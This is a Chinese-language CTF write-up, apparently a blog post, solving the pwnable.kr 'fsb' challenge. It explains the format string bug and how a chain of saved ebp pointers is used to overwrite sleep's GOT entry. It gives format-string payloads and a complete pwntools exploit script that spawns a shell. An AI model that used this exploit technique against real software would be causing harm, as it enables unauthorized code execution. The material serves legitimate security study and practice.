pwnable 笔记 Rookiss - fsb - 20 pt

20 篇文章 18 订阅
14 篇文章 0 订阅

题目源码

c

题目分析

程序逻辑很简单,main函数随机生成key,然后调用fsb函数。fsb中判断用户输入的值和key是否相等,相等则execve("/bin/sh\0",0,0);,程序结构如下图:
struct

看下源代码,fsb函数中前面两个for循环没啥卵用,用于清除用户输入的参数和程序的工作环境,第3个for循环里有明显的格式化字符串漏洞:
fs

格式化字符串漏洞发生在栈中,利用方式以下几种:

  1. 修改变量的值,绕过认证
  2. 覆写GOT表
  3. 修改栈中保存的返回地址

在这道题中,格式化字符串buf存储在堆中,也就是说我们输入的内容不会出现在栈里,因此不能通过向栈中写入地址的方式进行攻击,不过我们可以利用栈中已有的值进行攻击。

GDB查看一下调用printf时栈的布局,如下图:
stack
可以看到,我们输入的值AAAABBBBCCCCDDDD保存在0x804a100中,是printf的第一个参数;esp+72esp+76处存放的分别是main函数的ebpfsb函数的返回地址。

函数在被调用的时候先将原函数的ebp保存到栈中,在跳转至被调用函数的内部;返回时先将当前ebp恢复为原函数的ebp,再跳转回到原函数中。也就是说,栈中保存的ebp永远指向原函数ebp,它是一个链式的结构。

举个栗子,我们记funcA()的ebp为ebpAfuncB()函数的ebp为ebpBfuncC()函数的ebp为ebpC
假如我们在funcA()中调用funcB()funcB()中又调用了funcC(),那么:

保存在funcC()栈桢中的ebp为:

ebpC –> ebpB –> ebpA –> ? (?为调用funcA的函数的ebp)

保存在funcB()栈桢中的ebp为:

ebpB –> ebpA –> ? (?为调用funcA的函数的ebp)

保存在funcA()栈桢中的ebp为:

ebpA –> ? (?为调用funcA的函数的ebp)

回到题目中,printf将执行时,esp+72处是的fsb函数的ebp,它指向mainebp

ebp(fsb) –> ebp(main) –> 0x0

我们计算一下偏移量,72 / 4 = 18,对应的是printf的第18个参数,也就是说我们可以通过输入%88888c%18$n来修改ebp(main)处的值为888888

ebp(fsb) –> ebp(main) –> 88888

change

同理,我们也可以修改ebp(main)指向的值为GOT表中函数的地址
gotoverwrite

现在只需要找到ebp(main)esp(fsb)之间的偏移量offset,便可以通过"%%%d$n" % (offset)来覆写GOT表了。

由于这个偏移量不是固定的,我们需要通过格式化字符串漏洞泄露一下ebp(fsb)ebp(main)的地址,以上图为例:

esp(fsb) = 0xfff68f90
ebp(main) = 0xfff69378
offset = (0xfff69378 - 0xfff68f90) / 4 = 250

ebp(main)可以通过%18$08x泄露,而esp(fsb)可以通过栈中的某些值确定,比如esp+56处的值指向0xfff68fe0,这个值和esp(fsb)刚好相差0x50

解题思路

利用格式化字符串漏洞改写sleep函数的GOT表,使程序调用sleep函数时,执行execve("/bin/sh\0",0,0);

解题过程

  • 泄露main函数ebp和fsb函数的esp计算偏移量offset

  • 修改main函数ebp指向的值为sleep在GOT表中的地址

  • 修改sleep在GOT表中的地址为0x080486ab(execve("/bin/sh\0",0,0);)

  • 触发sleep函数,得到shell

解题脚本

#!/usr/bin/python 
from pwn import *
# context.log_level = 'debug'
# p = process('fsb')
p = ssh(host='pwnable.kr',port=2222,user='fsb',password='guest').run('/home/fsb/fsb')

# log.success("recv: " + p.recv(8))
sleep_got = 0x0804a008
shell     = 0x080486ab
raw_input("#####################1########################")

payload = "%14$08x%18$08x"
# gdb.attach(p,"b *0x8048610")
p.recvuntil('(1)\n')
p.sendline(payload)

esp = int(p.recv(8),16) - 0x50
ebp = int(p.recv(8),16)
offset = (ebp - esp) / 4 
log.success("esp = " + hex(esp))
log.success("ebp = " + hex(ebp))
log.success("offset = " + str(offset))

raw_input("#####################2########################")

payload = "%%%dc"%(sleep_got) + "%18$n"
p.recvuntil('(2)\n')
p.sendline(payload)

raw_input("#####################3########################")

payload = ("%%%dc"%(shell&0xffff)) + "%%%d$hn"%(offset)
#p.recvuntil('(3)\n')
sleep(3)
p.sendline(payload)

raw_input("#####################4########################")

payload = "AAAAAAAA"
p.recvuntil('(4)\n')
p.sendline(payload)

raw_input("#####################x########################")
sleep(4)
p.interactive()

More

ok

ebp –> ebp –> ebp –> ebp –> ebp –> ebp –> ebp –> bingo!

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

TaQini852

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值